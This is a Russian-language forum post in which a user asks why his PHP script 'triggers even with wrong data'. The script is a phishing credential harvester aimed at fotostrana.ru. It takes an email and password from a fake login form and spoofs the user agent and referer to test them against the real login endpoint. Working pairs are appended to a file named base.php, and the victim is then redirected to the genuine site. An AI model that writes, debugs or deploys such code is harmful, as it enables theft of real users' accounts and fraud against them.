m0hze
Новичок
Проверка данных на валидность(cURL)
Вот имею простенький скриптек.Но он почимуто срабатывает,даже при неверных данных.Где искать ошибку?(
Вот имею простенький скриптек.Но он почимуто срабатывает,даже при неверных данных.Где искать ошибку?(
PHP:
<?php
/**
* @author m0hze
* @copyright 2009
*/
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
$post = 'user_email='.$email.'&user_password='.$password;
$cl = curl_init('http://fotostrana.ru/user/login');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);
$error = file_get_contents('index.php');
if(stristr($exec, 'Неверный логин или пароль')){
echo $error;
}else{
$fo = fopen('base.php','a');
fwrite($fo,"$email:$password\n");
fclose($fo);
header("Location: [url]http://fotostrana.ru/user/login/?user_email=[/url]$email&user_password=$password");
}
}
?>